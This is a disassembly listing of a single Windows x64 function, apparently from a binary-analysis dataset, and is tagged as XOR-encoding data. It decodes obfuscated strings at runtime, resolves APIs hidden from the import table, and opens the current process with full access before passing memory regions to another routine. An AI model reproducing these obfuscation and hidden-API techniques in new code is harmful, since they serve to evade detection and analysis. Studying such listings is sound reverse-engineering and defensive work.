Function at 0x140018220
Capabilities:
Encode data using xor

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x14001c040]
xor rax, rsp
mov qword [rbp + 0x4f], rax
cmp word [0x14001a442], 0
movups xmm0, xmmword [str.__QZ_]
mov eax, dword [0x14001a440]
mov dword [rbp - 0x19], eax
movups xmmword [rbp - 0x29], xmm0
je 0x140018290
xor word [rbp - 0x27], 0x34
mov eax, 0x6e
xor word [rbp - 0x25], 0x35
xor word [rbp - 0x23], 0x36
xor word [rbp - 0x21], 0x37
xor word [rbp - 0x1f], 0x38
xor word [rbp - 0x1d], 0x39
xor word [rbp - 0x1b], 0x3a
xor word [rbp - 0x19], 0x3b
xor word [rbp - 0x17], 0x3c
mov word [rbp - 0x29], ax
mov qword [rsp + 0xe0], rbx
lea rcx, [rbp - 0x29]
mov qword [rsp + 0xe8], rsi
mov qword [rsp + 0xf0], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0x14001c750], rax
mov r9, rax
test rax, rax
je 0x140018645
mov ecx, dword [0x14001a428]
xor esi, esi
cmp byte [0x14001a42d], sil
movsd xmm0, qword [str._zFRViHT_XML_]
mov ebx, dword [0x14001c090]
mov dword [rbp - 1], ecx
movzx ecx, word [0x14001a42c]
mov word [rbp + 3], cx
movsd qword [rbp - 9], xmm0
je 0x14001842c
mov ecx, esi
cmp ebx, 2
jl 0x1400183e8
movdqa xmm2, xmmword [0x14001a450]
mov ecx, 8
movdqa xmm4, xmmword [0x14001a4a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001a480]
psubd xmm2, xmm0
movd xmm0, dword [str._zFRViHT_XML_]
andps xmm2, xmmword [0x14001a490]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14001a4b0]
xorps xmm2, xmm0
movd dword [rbp - 9], xmm2
movdqa xmm2, xmmword [0x14001a460]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001a480]
psubd xmm2, xmm0
movd xmm0, dword [rbp - 5]
andps xmm2, xmmword [0x14001a490]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14001a4b0]
xorps xmm2, xmm0
movd dword [rbp - 5], xmm2
movsxd rax, ecx
lea r8, [rbp - 9]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r8, [r8 + 1]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
inc ecx
sub al, dl
add al, 0x33
xor byte [r8 - 1], al
cmp ecx, 0xe
jl 0x140018400
lea rdx, [rbp - 9]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x14001a397], sil
mov rdi, rax
mov rcx, qword [str._vZXK:_eDXLYOjTLK5_.]
mov qword [rbp - 0x11], rcx
je 0x140018580
cmp ebx, 2
jl 0x14001853f
movdqa xmm3, xmmword [0x14001a450]
movdqa xmm2, xmmword [0x14001a460]
movdqa xmm1, xmm3
movdqa xmm5, xmmword [0x14001a4a0]
movdqa xmm0, xmm3
mov eax, dword [0x14001a4b0]
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x11]
pmulld xmm0, xmmword [0x14001a480]
psubd xmm3, xmm0
movd xmm0, eax
andps xmm3, xmmword [0x14001a490]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
xorps xmm3, xmm1
movdqa xmm1, xmm2
pmuldq xmm0, xmm5
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movd dword [rbp - 0x11], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0xd]
pmulld xmm0, xmmword [0x14001a480]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x14001a490]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0xd], xmm2
jmp 0x140018580
lea r9, [rbp - 0x11]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140018550
mov rcx, qword [0x14001c750]
lea rdx, [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rdi, rdi
je 0x140018645
test rax, rax
je 0x140018645
mov rcx, qword gs:[0x40]
lea r9, [rbp + 0xf]
mov eax, ecx
lea r8, [rbp + 0x1f]
xorps xmm0, xmm0
mov qword [rbp + 0xf], rax
lea rcx, [rbp + 7]
mov qword [rbp + 7], rsi
mov edx, 0x1fffff
mov dword [rbp + 0x1f], 0x30
mov qword [rbp + 0x27], rsi
mov dword [rbp + 0x37], esi
mov qword [rbp + 0x2f], rsi
movdqu xmmword [rbp + 0x3f], xmm0
mov qword [rbp + 0x17], rsi
call rdi
test eax, eax
jns 0x1400185f5
mov eax, 0xfffffffe
jmp 0x14001864a
mov rdx, qword [0x14001c758]
mov r9b, 1
mov r8, qword [0x14001c760]
mov rcx, qword [rbp + 7]
sub r8, rdx
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x38], 1
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
call fcn.1400162d0
mov rcx, qword [rbp + 7]
test al, al
jne 0x14001863f
call rbx
mov eax, 0xfffffff8
jmp 0x14001864a
call rbx
xor eax, eax
jmp 0x14001864a
mov eax, 0xffffffff
mov rdi, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0xe8]
mov rbx, qword [rsp + 0xe0]
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140018690
add rsp, 0xd0
pop rbp
ret